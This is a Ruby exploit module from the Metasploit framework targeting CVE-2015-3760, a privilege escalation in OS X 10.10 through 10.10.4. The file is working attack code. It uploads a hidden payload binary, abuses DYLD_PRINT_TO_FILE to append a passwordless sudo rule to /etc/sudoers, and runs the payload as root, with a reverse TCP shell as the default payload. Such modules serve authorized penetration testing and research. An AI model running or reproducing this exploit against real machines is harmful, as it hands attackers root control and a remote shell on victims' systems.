##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation',
      'Description'    => %q{
        In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment
        variable is used for redirecting logging data to a file instead of
        stderr. Due to a design error, this feature can be abused by a local
        attacker to write arbitrary files as root via restricted, SUID-root
        binaries.
      },
      'Author'         => [
        'Stefan Esser', # Vulnerability discovery and PoC
        'joev'          # Copy/paste monkey
      ],
      'References'     => [
        ['CVE', '2015-3760'],
        ['URL', 'https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html'],
        ['URL', 'https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/']
      ],
      'DisclosureDate' => '2015-07-21',
      'License'        => MSF_LICENSE,
      'Platform'       => 'osx',
      'Arch'           => ARCH_X64,
      'SessionTypes'   => ['shell'],
      'Privileged'     => true,
      'Targets'        => [
        ['Mac OS X 10.10-10.10.4', {}]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' }
    ))

    register_advanced_options [
      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    (ver?) ? CheckCode::Appears : CheckCode::Safe
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    upload payload_file, binary_payload
    cmd_exec "chmod +x #{payload_file}"

    print_status "Executing exploit at `#{payload_file}'..."
    cmd_exec sploit
  end

  def ver?
    Rex::Version.new(get_sysinfo['ProductVersion']).between?(
      Rex::Version.new('10.10.0'), Rex::Version.new('10.10.4')
    )
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
    register_file_for_cleanup path
  end

  def sploit
    %Q{/bin/sh -c "echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo #{payload_file} &"}
  end

  def binary_payload
    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end

  def payload_file
    @payload_file ||=
      "#{base_dir}/.#{Rex::Text.rand_text_alpha(8..12)}"
  end
end
